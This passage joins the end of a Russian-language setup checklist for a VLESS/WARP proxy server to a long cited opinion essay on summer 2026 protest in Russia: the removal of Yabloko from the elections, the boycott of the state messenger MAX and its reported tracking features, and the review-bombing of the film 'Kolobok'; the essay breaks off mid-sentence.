(Y.Y.Y.Y) - [ ] Все прочие outbound тоже с `inet4_bind_address` = Y.Y.Y.Y - [ ] Входной IP не фигурирует ни в каких outbound - [ ] Проброс портов: 80/TCP и 443/UDP на входном IP - [ ] SSH слушает **только** на выходном IPv4 - [ ] WARP endpoint настроен (ключи сгенерированы с VPS) - [ ] I2P-роутер (i2pd) запущен на VPS - [ ] Tor демон запущен на VPS - [ ] Tor onion для аварийного SSH доступа - [ ] DNS: RU → Yandex, Default → Google DoT - [ ] Route rules: geosite-category-ru → resolve через local DNS - [ ] Маршрутизация по geosite/geoip/портам/user_auth — на сервере - [ ] Клиенты настроены гнать ВЕСЬ трафик через VLESS (кроме BitTorrent на ПК) - [ ] Проверить: `curl ifconfig.me` с клиента → показывает WARP/выходной IP, **НЕ** входной - [ ] Проверить: госуслуги и РФ-сервисы открываются через туннель --- --- date: 2026-08-12 tags: - politics - protest - boycott - elections-2026 - max - censorship - runet aliases: - Почему Яблоко сняли с выборов в Госдуму 2026 - Бойкот мессенджера MAX - Бойкот фильма Колобок и перенос Человека-паука - Антивоенная позиция как экстремизм иск Родины - Что нашли в коде мессенджера MAX слежка - Сколько россиян за мирные переговоры опросы - Причём тут Колобок - Новая протестная активность в России 2026 link: https://meduza.io/feature/2026/08/10/verhovnyy-sud-snyal-yabloko-s-vyborov-v-gosdumu-po-trebovaniyu-konkurentov-partii-rodina-glavnoe --- # 🍏 Снятие «Яблока» с выборов, бойкоты MAX и «Колобка»: лето 2026 как начало новой протестной волны ![[yabloko-boycotts-protest-2026-header.webp]] > [!info] О чём заметка > Летом 2026 в России случились три истории, которые обычно обсуждают порознь: массовый отказ от государственного мессенджера MAX, зрительский бойкот фильма «Последний богатырь. Колобок» и снятие партии «Яблоко» с выборов за антивоенную программу. Здесь они собраны вместе, потому что это одна история — о том, куда уходит несогласие, когда ему перекрывают все остальные выходы. > [!warning] Жанр и источники > Это публицистика, но с проверяемой фактурой: даты, суммы и проценты снабжены ссылками на источники прямо в тексте. Выводы о мотивах и прогнозы — оценка автора, они так и помечены. Часть цитируемых изданий («Медуза», «Левада-центр», ОВД-Инфо, The Moscow Times, «Вёрстка» и другие) признаны в РФ «иноагентами» или «нежелательными организациями». ## TL;DR - Две трети россиян хотят прекращения огня — [67% по февральскому опросу «Левады»](https://holod.media/2026/03/04/rekordnoe-chislo-rossiyan-2/), рекорд за всё время. Но сказать это вслух негде: за слова — статья, митинги запрещены. - Единственную партию, которая написала «мир» в программе, — «Яблоко» — сначала зарегистрировали на выборы в Госдуму, а 10 августа [сняли через суд](https://meduza.io/feature/2026/08/10/verhovnyy-sud-snyal-yabloko-s-vyborov-v-gosdumu-po-trebovaniyu-konkurentov-partii-rodina-glavnoe). В иске антивоенная позиция названа экстремизмом, а картинки из ChatGPT — нарушением авторских прав. - Госмессенджер MAX насаждают сверху: предустановка по закону, школы, Госуслуги. Конкурентов задушили: [WhatsApp заблокирован](https://www.cnews.ru/news/top/2026-02-11_po_primeru_youtubevlasti_okonchatelno), Telegram замедлен. Люди отвечают отказом, модами без слежки и запасными телефонами. - «Колобок» снят на бюджетную субсидию, а прокат ему расчистили, [отодвинув «Человека-паука»](https://www.kommersant.ru/doc/8814711). Ответ: крупнейший ревью-бомбинг в истории российского кино (Кинопоиску впервые пришлось [замораживать рейтинг](https://vgtimes.ru/movies-and-tv-series/163283-kinopoisk-zamorozil-reyting-kolobka-iz-za-anomalnoy-volny-revyu-bombinga.html)), фанаты в костюмах Человека-паука в кинозалах, пустые сеансы — и, на тёмной стороне волны, угрозы создателям, по которым [возбуждено уголовное дело](https://www.fontanka.ru/2026/08/08/76578332/). - Вывод (оценка): бойкот — это протест людей, у которых отняли все остальные способы сказать «нет». Чем дольше их не слышат, тем больше таких вспышек будет — в самых неожиданных местах. ## Сколько нас — тех, кто хочет мира Начнём с цифр, потому что «люди устали» — это ощущение, а нужны измерения. «Левада-центр» спрашивает россиян об одном и том же с 2022 года. Динамика простая: в конце 2024 за мирные переговоры были [57%](https://www.levada.ru/2025/01/13/konflikt-s-ukrainoj-v-dekabre-2024-goda-vnimanie-podderzhka-otnoshenie-k-peregovoram-emotsionalnyj-nastroj/), через год — [65%](https://www.levada.ru/2025/12/04/konflikt-s-ukrainoj-v-noyabre-2025-goda-vnimanie-podderzhka-dejstvij-rossijskih-vooruzhennyh-sil-i-nachala-peregovorov-predstavleniya-o-trudnostyah-svyazannyh-so-spetsoperatsiej/), в феврале 2026 — [67%](https://holod.media/2026/03/04/rekordnoe-chislo-rossiyan-2/). Это рекорд за всё время наблюдений. За продолжение войны — 24%. Независимый [Russian Field](https://russianfield.com/svo20) считает осторожнее: 53% за переговоры. Но у него есть вопрос-ключ: а если мирное соглашение подпишет Путин? Тогда «за» — 83%. Люди не против мира. Люди боятся сказать об этом раньше начальства. Для честности — вторая половина картины. Те же опросы «Левады» дают [около 70% декларируемой поддержки армии](https://www.levada.ru/2026/05/07/konflikt-s-ukrainoi-v-aprele-2026-goda/). Общество не «почти единогласно против войны» — так писать было бы неправдой. Правда скромнее и важнее: устойчивое большинство хочет, чтобы это закончилось. И у этого большинства четыре года не было ни одного легального способа сказать это вслух. Проще говоря: две трети страны за переговоры, но за плакат с этими словами дают статью, а в избирательном бюллетене графы «за мир» не было. Что делает вода, когда все стоки перекрыты? Ищет щели. ## Как несогласие научилось молчать Цена слова известна точно. По [подсчётам ОВД-Инфо](https://data.ovd.info/antiwar_3_years), за три года войны — больше 20 тысяч задержаний за антивоенную позицию, почти 11 тысяч административных дел о «дискредитации армии», 1185 человек под уголовными делами. Интересно другое: новых дел с каждым годом всё меньше. Не потому, что стало можно. ОВД-Инфо формулирует это [одной фразой](https://www.svoboda.org/a/ovd-info-antivoennyh-del-zavodyat-menjshe-tak-kak-molchat-boljshe-/33244082.html): «антивоенных дел заводят меньше, так как молчат больше». Люди выучили урок. Но молчание — не согласие. Несогласие просто сменило инструмент на тот, за который не наказывают. Не купить билет — не преступление. Не установить приложение — не преступление. Поставить единицу на Кинопоиске — тоже. Примеры копятся с 2023 года. Пропагандистский фильм «Свидетель» собрал за первый уикенд [меньше 7 млн рублей](https://holod.media/2023/08/21/svidetel-prokat/) — при бюджете в 200 млн и тысяче кинотеатров. Концерты Шамана [отменяли город за городом](https://ria.ru/20240920/shaman-1973813562.html): организаторы говорили про «технические причины», а СМИ [показывали полупустые залы](https://www.agents.media/pevets-shaman-kotorogo-kreml-sdelal-odnim-iz-glavnyh-golosov-vojny-okazalsya-ne-ochen-interesen-rossiyanam-ego-kontserty-otmenyayut-iz-nizkih-prodazh-biletov-a-vystupleniya-na-tv-smotryat-huzhe-novos/). Зато «Мастер и Маргарита» Локшина — режиссёра, которого z-блогеры требовали посадить, — собрал [416 млн за первый уикенд](https://meduza.io/feature/2024/01/28/v-prokat-vyshel-film-master-i-margarita-mihaila-lokshina-z-aktivisty-vozmuscheny-dengi-rezhisseru-s-antivoennoy-pozitsiey-vydelil-minkult-rf). Зритель прекрасно понял, за кого он голосует рублём. Летом 2026 эта тихая механика сработала трижды подряд — и уже не в частностях, а по крупным государственным проектам. ## MAX: мессенджер, который навязали История MAX — та же история, что с «Колобком», только вместо кинопроката поставлена на кон вся цифровая жизнь страны, и длится она уже второй год. Разберём по слоям: как строили монополию, как принуждали людей, что нашли в коде и почему, несмотря на всё это, не получилось. ### Монополия за один год Летом 2025 подписан [закон о «национальном мессенджере»](https://www.consultant.ru/document/cons_doc_LAW_508287/). Оператором назначили [дочку VK](https://www.interfax.ru/digital/1043261) — компании, которая [с 2021 года контролируется](https://meduza.io/feature/2021/12/03/vk-pereshel-pod-kontrol-gazprombanka-i-sogaza-druga-putina-yuriya-kovalchuka-gendirektorom-vk-stanet-syn-sergeya-kirienko) структурами из орбиты «Газпрома», а руководит ею сын первого замглавы администрации президента. С сентября 2025 MAX [обязан стоять на каждом новом смартфоне](https://www.cnn.com/2025/08/21/tech/max-messenger-app-russia-smartphones-intl) в России. Параллельно убирали конкурентов. В августе 2025 Роскомнадзор «в целях борьбы с мошенничеством» [отключил звонки в WhatsApp и Telegram](https://www.rbc.ru/politics/13/08/2025/689c8c7c9a79479b1087586d). В феврале 2026 [WhatsApp заблокировали полностью](https://ru.euronews.com/2026/02/12/russia-whatsapp-ban), [Telegram замедлили](https://ru.wikipedia.org/wiki/%D0%91%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_Telegram_%D0%B2_%D0%A0%D0%BE%D1%81%D1%81%D0%B8%D0%B8_(2026)) по всей стране. Теперь Telegram живёт через VPN — по словам Дурова, так им пользуются 65 миллионов россиян в день. ### Принуждение на местах: колледжи, больницы, Wi-Fi Юридически MAX доброволен — это не мнение, а [официальный письменный ответ Минцифры](https://ovdinfo.legal/instruction/max) от 20 января 2026: «требования об обязательном использовании... в законодательстве Российской Федерации не предусмотрены». Практика выглядела иначе — правозащитники проекта «Своей волей» [собрали к концу 2025 года 105 жалоб](https://doxa.team/news/2026-02-10-max) из колледжей, вузов, школ и детсадов двадцати регионов. Несколько задокументированных кейсов. В екатеринбургском колледже имени Ползунова студентов, отказавшихся ставить MAX, [заставляли писать заявления об отчислении «по собственному желанию»](https://www.e1.ru/text/education/2025/10/23/76088087/) — текст диктовали с доски (колледж угрозы [опроверг](https://www.kommersant.ru/doc/8157516), версии сторон расходятся). Врачам уфимской больницы [спустили квоты](https://ru.themoscowtimes.com/2026/01/30/vrachei-nachali-prinuzhdat-zapisivat-rossiyan-na-priem-tolko-cherez-messendzher-max-a185914) — записать через чат-бот MAX 17–25 пациентов под угрозой лишения выплат; по опросу «Медвестника», [70% медиков против MAX](https://medvestnik.ru/content/news/bolshinstvo-oproshennyh-vrachei-vystupili-protiv-vnedreniya-messendjera-max-v-ih-rabotu.html), 53% сталкивались с прямым давлением. Тюменский госуниверситет [пускал в Wi-Fi учебных корпусов только через MAX](https://72.ru/text/education/2026/03/18/76317148/) — студенты собрали 950 подписей, и к августу вуз отступил: редкая документированная победа. Дальше — самое интересное: система начала спорить сама с собой. Прокуратура Вологодской области [признала незаконными](https://ru.themoscowtimes.com/2026/02/03/prokuratura-vologodskoi-oblasti-priznala-nezakonnim-navyazivanie-gosmessendzhera-max-v-shkolah-a186200) акты двенадцати школ об обязательной регистрации в MAX. А суд в Казани в те же месяцы [оштрафовал активистку на 30 тысяч рублей](https://theins.ru/news/293197) за видео о принуждении студентов — минобрнауки Татарстана объяснило суду, что требования установить MAX «не противоречат Конституции». Принуждать — нельзя, рассказывать о принуждении — тоже нельзя. И два штриха, которые дороже любой аналитики. Первый: в феврале 2026 российским военным на фронте [из штаба рекомендовали не пользоваться MAX](https://zona.media/news/2026/02/23/max) из соображений безопасности — то самое приложение, которое навязывают школьникам и врачам. Второй: по данным The Moscow Times, госслужащие [покупают отдельные телефоны под MAX](https://ru.themoscowtimes.com/2026/07/17/pravitelstvo-rasporyadilos-perevesti-vseh-chinovnikov-v-gosmessendzher-max-a201058), опасаясь слежки, — при том что распоряжение правительства от 9 июля 2026 требует к 2030 году перевести 100% рабочих коммуникаций чиновников и бюджетников «исключительно» в MAX. ### Госуслуги, домовые чаты, цифровой ID: дверь закрывается Пока шло принуждение сверху, MAX встраивали в повседневность так, чтобы обойтись без него стало технически трудно. С декабря 2025 Минцифры [начало отказ от SMS-кодов на Госуслугах](https://xakep.ru/2025/12/05/gosuslugi-max/) — подтверждение входа предлагают через MAX (альтернативы — приложение-аутентификатор или биометрия — [пока остаются](https://www.anti-malware.ru/news/2026-04-06-111332/49616)). Аккаунты Госуслуг [замораживают на 72 часа](https://habr.com/ru/news/978004/) за «подозрительную активность» — включая входы через VPN, — а досрочную разблокировку предлагают через «Цифровой ID» в MAX. Школы — через «Сферум» [внутри MAX](https://vk.company/ru/press/releases/12069/). Домовые чаты ЖКХ — [по закону, подписанному 28 декабря 2025](https://www.vedomosti.ru/society/news/2025/12/28/1166991-putin-podpisal-zakon), — первый случай, когда пользование MAX стало обязательным не приказом директора, а федеральным законом. Дальше по плану — документы и деньги: «Цифровой ID» в MAX [снижен до 14 лет](https://www.ixbt.com/news/2026/08/04/426484-cifrovoi-id-v-max-pomolodel-podrostki-polucili-dostup-k-analogu-bumaznyx-dokumentov.html), с 1 сентября 2026 [все магазины обязаны принимать его](https://www.banki.ru/news/daytheme/?id=11022497) как подтверждение возраста, электронная подпись «Госключ» [интегрирована](https://www.forbes.ru/tekhnologii/544556-messendzer-max-zaversil-integraciu-s-tehnologiej-elektronnoj-podpisi-goskluc), НСПК [строит внутри платёжное приложение](https://www.vedomosti.ru/technologies/industries_and_markets/news/2026/06/04/1203249-nspk-max-platezhnoe-prilozhenie). А на оккупированных территориях Украины «Репортёры без границ» назвали MAX [«цифровым железным занавесом»](https://rsf.org/en/ukraine-s-occupied-territories-kremlin-s-messaging-app-max-building-digital-iron-curtain): приложение недоступно с украинских номеров и отрезает людей от связи с Украиной. Проще говоря: MAX делают не мессенджером, а пропуском — в школу, к врачу, к налогам, к покупке энергетика. Бойкотировать пропуск сложнее, чем приложение. Именно на это и расчёт (оценка). ### Что нашли в коде Недоверие к MAX — не паранойя, а чтение документации. Сквозного шифрования в нём [нет](https://androidinsider.ru/polezno-znat/chto-takoe-skvoznoe-shifrovanie-i-pochemu-ego-net-v-messendzhere-max-na-android.html): переписку видит оператор, а по закону Яровой она хранится и выдаётся по запросу. Это не баг, это конструкция. В мае 2026 исследователь под ником zarazaexe опубликовал на Хабре разбор декомпилированного APK — [«15 вещей, которые вы бы не хотели знать о мессенджере MAX»](https://habr.com/ru/articles/1036222/). Среди задокументированных находок: отправка полного списка установленных приложений через аналитический SDK MyTracker; слежка за изменениями адресной книги; «вечный» отпечаток устройства через Widevine DRM, который переживает даже сброс к заводским настройкам; 334 серверных флага удалённого управления клиентом — включая флаг отключения проверки TLS-сертификатов и включения «фейковых чатов»; скрытые push-команды удаления сообщений из локальной базы; ML-модель распознавания ключевых слов в звонках (в следующей версии её убрали, но инфраструктура загрузки осталась). Самые громкие пункты — модуль записи звука с микрофона и определение реального IP в обход VPN. Отдельный [разбор RuStore](https://habr.com/ru/articles/1046710/) того же автора показал серверный флаг тихой установки MAX без согласия пользователя и подсистему Radar, снимающую геолокацию каждые две минуты. Тут обязательна оговорка — и она в обе стороны. Это работа одного исследователя; пресс-служба MAX [назвала выводы о «прослушке» фейком](https://lenta.ru/news/2026/05/19/v-seti-rasprostranilsya-feyk-o-taynoy-zapisi-zvuka-v-messendzhere-max/), фактчекеры «Лапши Медиа» [не подтвердили](https://lapsha.media/feiky/max-slezhka-vpn/) слежку за VPN, а [обзор Anti-Malware.ru](https://www.anti-malware.ru/analytics/Technology_Analysis/MAX-Security-Fact-and-Fiction) скрытых руткитов не нашёл и напомнил, что MAX запрашивает меньше разрешений, чем WhatsApp. С другой стороны, дырявость приложения признаёт сама компания: её bug bounty [подтвердила 213 уязвимостей](https://cisoclub.ru/v-messendzhere-max-vyjavili-213-ujazvimostej-za-kotorye-jetichnye-hakery-poluchili-okolo-22-mln-rublej/) и выплатила около 22 млн рублей, самая частая — доступ к чужим сообщениям и профилям. Наличие кода доказывает возможность, а не постоянную слежку за каждым; опирайтесь на бесспорную архитектуру — закрытый код, нет шифрования, серверы в РФ. Подробный разбор и блокировка трафика MAX на своих устройствах — в [[DPI/ru-network-blocklists|заметке о блок-листах российских сетей]]. ### Пустая империя Продвигали MAX как бренд молодости: [немаркированные интеграции](https://meduza.io/feature/2025/07/09/instasamka-i-valya-karnaval-proreklamirovali-prilozhenie-max-ot-vk-ih-vpechatlilo-chto-ono-rabotaet) у Инстасамки, Егора Крида («Бро, прикинь, Max ловит даже в море») и Артемия Лебедева, который сформулировал ценность продукта незабываемо: «Там нет хохлов». Интеграция у миллионника стоила [до 3 млн рублей](https://www.kommersant.ru/doc/8007831). Результат на бумаге: в июне 2026 MAX [формально стал первым мессенджером страны](https://3dnews.ru/1145503/max-oboshyol-telegram-po-mesyachnoy-auditorii-no-eyo-prirost-pochti-ostanovilsya) — 86,3 млн месячного охвата. Но случилось это не потому, что MAX вырос, а потому что конкурентов утопили: WhatsApp потерял 31 млн аудитории за полгода блокировок, Telegram — 20 млн. Собственный рост MAX встал: плюс 198 тысяч за июнь — в пределах погрешности. А теперь внутренности этой «победы». Типичный пост в канале MAX собирает [медианные три реакции](https://www.kommersant.ru/doc/8290427). Аудитория топ-каналов [в 60 раз меньше](https://www.kommersant.ru/doc/8363124), чем у тех же каналов в Telegram. В Москве к концу 2025 к MAX подключились [7% школьников](https://verstka.media/kak-rossiyan-ne-smogli-peresadit-na-naczionalnyi-messendzher). По опросу Russian Field, [68% россиян мессенджером не пользуются](http://russianfield.com/maxim), а 70% против ограничений WhatsApp. Ключевые пропагандисты, по данным The Moscow Times, [сами MAX не установили](https://ru.themoscowtimes.com/2026/04/07/klyuchevie-rossiiskie-propagandisti-nestali-ustanavlivat-gosmessendzher-max-a191954). Источник «Вёрстки» во внутриполитическом блоке Кремля подвёл итог: [«реализация проекта оценивается начальством как провальная»](https://verstka.media/kak-rossiyan-ne-smogli-peresadit-na-naczionalnyi-messendzher), а весной 2026 регионам из АП даже [велели «не перегибать»](https://verstka.media/regionalnym-vlastyam-veleli-ne-peregibat-c-max-na-fone-ogranichenij-telegram) с принуждением. Установить заставили. Пользоваться — не смогли. ### «Борьба с мошенниками»: аргумент, который не сходится Официальная причина удушения конкурентов — телефонное мошенничество. Проверим её деньгами. Идею блокировки звонков ещё в мае 2025 [лоббировала «большая четвёрка» операторов](https://www.forbes.ru/tekhnologii/543646-operatory-svazi-predlozili-zablokirovat-zvonki-v-zarubeznyh-messendzerah), терявшая голосовой трафик, — прямо мотивируя «дополнительными доходами»; против выступала даже ФАС. После блокировки голосовой трафик операторов [вырос на 20–30%](https://expert.ru/news/mintsifry-soobshchilo-o-roste-telefonnogo-trafika-do-30-v-avguste/) уже в первый месяц, а у «Билайна» [рос на 28,8% ещё и в первом полугодии 2026](https://techora.ru/news/rossiyane-narastili-zvonki-na-65-i-2026-07-09). Выгодоприобретатель очевиден. А мошенничество? Ущерб граждан за восемь месяцев 2025 года [вырос до 134 млрд рублей](https://www.interfax-russia.ru/index.php/moscow/news/ushcherb-grazhdan-ot-kiberprestupleniy-za-8-mesyacev-vyros-do-134-mlrd-rubley) против 116 млрд годом ранее; по данным ЦБ, [похищенное за год прибавило 6,4%](https://www.interfax.ru/business/1072685). Мошенники просто мигрировали: на международные номера ([+83% у «Билайна» за первую неделю](https://www.forbes.ru/tekhnologii/544246-cislo-mosennicestv-v-messendzerah-snizilos-posle-blokirovki-zvonkov)), на стационарные телефоны — и в сам MAX. Первое хищение через MAX произошло [на следующий день после блокировки звонков](https://www.forbes.ru/society/544274-mvd-rasskazalo-o-pervom-zaderzanii-za-mosennicestvo-v-messendzere-max) в конкурентах, к весне 2026 полиция говорила об [«эпидемии» фишинговых ссылок в MAX](https://paperpaper.io/moshennikov-v-max-stanovitsya-vsyo-bolshe-p/), а сам мессенджер банит [по 105 тысяч подозрительных аккаунтов в месяц](https://habr.com/ru/news/957650/). Вывод (оценка): преступность не исчезла — переехала; выиграли операторы и MAX, заплатили абоненты. ### Три ступени бойкота На этом фоне ответ пользователей выглядит не капризом, а рациональной защитой. Мягкая ступень: просто не ставить MAX, пока не принудили, и сидеть в Telegram через VPN. Средняя: моды с вырезанной телеметрией — [WhiteMax, например, удаляет MyTracker и аналитику звонков](https://habr.com/ru/news/962808/), — за которые MAX [банит аккаунты](https://verstka.media/max-nachal-blokirovat-rossiyan-postavivshih-sebe-storonnij-klient-messendzhera-s-otklyuchyonnym-sborom-lichnyh-dannyh), сотнями в первый же день. Жёсткая: отдельный дешёвый телефон только под навязанное приложение — как у тех самых чиновников. Внешний мир, кстати, оценку уже вынес: Евросоюз [ввёл против MAX санкции](https://www.cnews.ru/news/top/2026-07-13_natsmessendzher_maks_popal), прямо написав в документе про «многочисленные возможности слежки», после чего мессенджер [удалили из App Store и Google Play](https://istories.media/news/2026/07/16/gosmessendzher-max-udalili-iz-google-play/). МВД тем временем [публично отчитывается о задержаниях](https://ria.ru/20250820/rossija-2036552214.html) по данным «центра безопасности MAX» — на случай, если у кого-то оставались сомнения, куда уходят данные. Общее у всех трёх ступеней бойкота: это «нет», за которое пока нет статьи. ## «Колобок»: как государство сходило в кино Теперь смешная история, которая оказалась совсем не смешной. Она стоит подробного разбора, потому что за три недели прошла весь путь: от письма прокатчика — через народный бойкот — до уголовного дела. Это модель всего лета 2026 в миниатюре. «Последний богатырь. Колобок» — пятая часть госфраншизы, сказка [за миллиард рублей](https://amp.rbc.ru/rbcnews/society/10/08/2026/6a7854e39a7947d13d75f60e), снятая студией Yellow, Black and White при поддержке телеканала «Россия-1». Безвозвратную субсидию Фонда кино источники называют по-разному: [370 млн, из них 320 безвозвратно](https://amp.rbc.ru/rbcnews/society/10/08/2026/6a7854e39a7947d13d75f60e) (РБК) или [250 млн](https://meduza.io/feature/2026/08/06/rossiyskie-prokatchiki-peredvinuli-premieru-novogo-cheloveka-pauka-chtoby-vypustit-v-prokat-film-o-kolobke) («Медуза»). В любом случае — сотни миллионов из налогов. Колобка озвучил Гарик Харламов, главную человеческую роль сыграл блогер Дмитрий Журавлёв. Отдельные СМИ [связывали запуск проекта](https://cursorinfo.co.il/cis-news/proval-kolobka-v-rf-nad-sozdatelyami-smeyutsya-i-ugrozhayut-raspravoj/) с тем, что Путин когда-то назвал «Колобка» любимой сказкой, — но это единственный источник, считайте штрихом к портрету, а не фактом. ### Письмо, после которого всё началось В августе Россия ждала другую премьеру — «Человек-паук: Новый день». Официально Sony ушла из России ещё в 2022-м, так что «Паук» шёл по серой схеме [«предсеансового обслуживания»](https://t-j.ru/news/kino-iz-pod-poli/): билет продаётся на российскую короткометражку с прокатным удостоверением, а голливудский блокбастер показывают «бесплатно» до неё. Схема полулегальна, но огромна: [по данным «Кинометро»](https://www.kinometro.ru/news/show/name/ru_boxoffice_sixmonth_pirates_02072026), только за первое полугодие 2026 теневые показы принесли кинотеатрам 4,1 млрд рублей — 11,6% всего рынка. 13 июля 2026 дистрибьютор «Атмосфера кино» и Ассоциация владельцев кинотеатров (АВК) [разослали кинотеатрам письмо](https://www.kommersant.ru/doc/8814711): «Паука» до 20 августа не показывать. Формулировки стоит привести дословно. «Колобку» нужен [«максимально успешный старт, поскольку от его результатов зависит дальнейшая практика летнего выпуска крупных российских релизов»](https://daily.afisha.ru/news/111315-rossiyskim-kinoteatram-rekomendovali-ne-pokazyvat-novogo-cheloveka-pauka-do-20-avgusta/). А кто покажет «Паука» раньше — с теми «Атмосфера кино» [«пересмотрит условия дальнейшего сотрудничества»](https://meduza.io/news/2026/07/13/distribyutery-poprosili-kinoteatry-otlozhit-pokazy-novogo-cheloveka-pauka-radi-filma-o-kolobke-i-prigrozili-sanktsiyami-v-sluchae-otkaza). Премьеру самого «Колобка» при этом передвинули с 13 на 6 августа — ровно на дату, когда «Паук» должен был добраться до российских залов. Вдумайтесь в конструкцию: легальный дистрибьютор и отраслевая ассоциация письменно управляют расписанием заведомо пиратских показов — и «Новая газета» [назвала это прецедентом](https://novayagazeta.ru/articles/2026/07/13/kinoteatry-rossii-prizvali-otlozhit-piratskii-prokat-novogo-cheloveka-pauka-radi-uspekha-kolobka-news): нелегальный прокат впервые открыто признали управляемой частью календаря. Практика при этом не нова, нова только откровенность: в январе 2023 кинотеатры [придерживали «Аватар»](https://www.dp.ru/a/2023/01/11/CHeburashka_protiv_Avatara) ради «Чебурашки», в конце 2025 — [ради «Буратино» и «Простоквашино»](https://t-j.ru/kolobok-vs-spiderman/), весной 2026 — ради военного «Литвяка». Глава АВК Алексей Воронков [назвал перенос «стандартной процедурой»](https://www.infox.ru/news/251/383051-vladelcy-kinoteatrov-obasnili-perenos-pokazov-celoveka-pauka-iz-za-vyhoda-kolobka-v-prokat) и подчеркнул, что ассоциация занимается этим уже три года. Первый зампред думского комитета по культуре Александр Шолохов [поддержал](https://kino.mail.ru/news/131668-v-gosdume-podderzhali-ideyu-otlozhit-reliz-cheloveka-pauka-radi-uspeha-kolobka/): кино — «серьёзное идеологическое оружие». Член совета АВК Роман Исаев [пообещал](https://nsn.fm/culture/kolobok-protiv-marvel-kogda-v-rossii-pokazhut-novogo-cheloveka-pauka): «Кинотеатры однозначно ждут сборов в миллиард рублей». Дальше слово взял зритель. ### Бойкот в цифрах Войну объявили ещё до премьеры: 5 августа «Лента» [фиксировала](https://lenta.ru/news/2026/08/05/fanaty-marvel-ob-yavili-voynu-kolobku/), что фанаты Marvel пошли на «Колобка» организованным походом. На «Киноафише», которая оценки не фильтрует, рейтинг [упал до 1,1–1,2 балла](https://www.ixbt.com/live/movie/glavnyy-kinoskandal-goda-pochemu-novyy-film-posledniy-bogatyr-kolobok-provalilsya-v-prokate.html) — последнее место среди всех фильмов 2026 года. На IMDb — [1,0](https://www.cybersport.ru/tags/movies/poslednii-bogatyr-kolobok-poluchil-1-6-balla-iz-10-na-kinopoiske-otsenku): ниже шкала не позволяет. В ночь премьеры случилось то, что СМИ [назвали крупнейшим ревью-бомбингом в истории российского кино](https://cybersport.metaratings.ru/articles/kak-premera-kolobka-prevratilas-v-voynu-s-fanatami-marvel-revyu-bombing-i-pustye-zaly/): Кинопоиск получил тысячи оценок за ночь, свыше 90% — разгромные. Сервису пришлось сделать то, чего он не делал никогда, — [скрыть рейтинг фильма целиком](https://vgtimes.ru/movies-and-tv-series/163283-kinopoisk-zamorozil-reyting-kolobka-iz-za-anomalnoy-volny-revyu-bombinga.html) (на скриншотах пользователей в момент заморозки он показывал [1,1](https://pikabu.ru/story/kinopoisk_skryil_reyting_11_u_kolobka_14216992)). Заявление платформы вышло почти лирическим: [«Рейтинг „Колобка“ обязательно докатится — как только накопится достаточное количество оценок от тех, кто действительно посмотрел кино»](https://t-j.ru/news/kolobok-review-bombed/). Докатился так: [1,6 после фильтрации](https://t-j.ru/news/kolobok-got-rated/) при ~150 тысячах оценок, [1,9 к 8 августа](https://info.sibnet.ru/article/700321/), [2,8 к 10-му](https://teleprogramma.org/headlines/reyting-kolobka-upal-do-rekordnogo-minimuma-na-kinopoiske_nid4545564__au73639auau_cr73639cr) и [3,0 к 11 августа при 458 тысячах оценок](https://cybersport.metaratings.ru/news/reyting-poslednego-bogatyrya-kolobok-vyros-do-30/). Встречной накрутки позитива, кстати, [никто не зафиксировал](https://cybersport.metaratings.ru/news/reyting-poslednego-bogatyrya-kolobok-vyros-do-30/) — рост дали обычные зрители, посмотревшие фильм. Рублём проголосовали так же. Предпродажи к вечеру накануне премьеры — [10,5 млн рублей](https://www.kinometro.ru/analytics/show/name/weekend_pre-sales_0609082026): меньше, чем у «Горыныча». СМИ публиковали кадры пустых залов: [в Казани — ноль проданных билетов на девять сеансов, в московском кинотеатре — четыре зрителя](https://msk1.ru/text/entertainment/2026/08/07/76577506/). И вот тут — важная развилка, на которой ловятся многие пересказы. Кассово «Колобок» не провалился в ноль: [54 млн в первый день](https://lenta.ru/news/2026/08/07/raskryty-sbory-filma-posledniy-bogatyr-kolobok-v-pervyy-den-prokata/) — лучший старт лета-2026, [244–249 млн за четыре дня](https://dtf.ru/cinema/5232558-posledniy-bogatyr-kolobok-start-prokata), [больше 300 млн к 11 августа](https://www.championat.com/cybersport/news-6578220-sbory-filma-poslednij-bogatyr-kolobok-prevysili-300-mln-rublej.html). Но у «рекорда» есть арифметика, которую вскрыл кинообозреватель BadComedian: фильму дали [беспрецедентную роспись примерно в девять тысяч сеансов в день](https://ura.news/news/1053116459), и залы стоят полупустыми именно потому, что сеансов неестественно много. Глава АВК это, по сути, [подтвердил](https://lenta.ru/news/2026/08/10/kassovyy-uspeh-kolobka-na-fone-boykota-ob-yasnili/): вместо стандартных 5–7 сеансов кинотеатры ставили по 20–25. При такой поддержке старт всё равно вышел [худшим во всей франшизе](https://cyber.sports.ru/cinema/1117329269-kolobok-pokazal-xudshij-start-vo-franshize-poslednij-bogatyr-244-mln-r.html): первый «Богатырь» в 2017-м открывался с 443 млн, «Корень зла» — с 1,1 млрд, прошлогодний «Финист» — с 1,9 млрд. Среди стартов 2026 года — лишь восьмое место. Прогнозы окупаемости в 1,5–2 млрд дают [люди из самой АВК](https://nsn.fm/culture/kolobku-predrekli-obschie-sbory-do-2-mlrd-rublei-nesmotrya-na-ataki-heiterov) — то есть заинтересованная сторона, и к 10 августа собрано меньше 20% от этой цифры. ### Люди-пауки выходят в офлайн Теперь про «митинги человеков-пауков» — здесь нужна точность, потому что мемы обогнали реальность. Что было на самом деле: в день премьеры, 6 августа, фанаты в костюмах Человека-паука [собрались в кинотеатре](https://meduza.io/feature/2026/08/06/rossiyskie-prokatchiki-peredvinuli-premieru-novogo-cheloveka-pauka-chtoby-vypustit-v-prokat-film-o-kolobke), устроили показ старых частей франшизы и подписали петицию против «Колобка» (первоисточник — «Бумага»; источники расходятся даже в городе: «Медуза» пишет про Петербург, другие — про Москву; число участников не называет никто). Ещё раньше, 3 августа, по залу закрытой премьеры в московском «Октябре» [разгуливал человек в костюме Человека-паука](https://runews24.ru/society/11/08/2026/xronika-bezumiya-vokrug-premeryi-poslednij-bogatyir-kolobok-i-chelovek-pauk-novyij-den) — то ли акция, то ли чья-то шутка. Зрители [приходили в масках Человека-паука на сеансы](https://ura.news/news/1053116611) «Колобка» — ставить оценку «в образе». Чего не было: уличных митингов, шествий и задержаний ни один источник не фиксирует. Вирусное видео с «толпой пауков» во дворе Петербурга, которым иллюстрировали «протесты», [снято в июне 2025 года](https://news.mail.ru/society/66647694/) и к скандалу отношения не имеет. А шутка о том, что взрыв, прогремевший в Москве 7 августа, — это [«вся Москва услышала, как „Колобок“ с треском 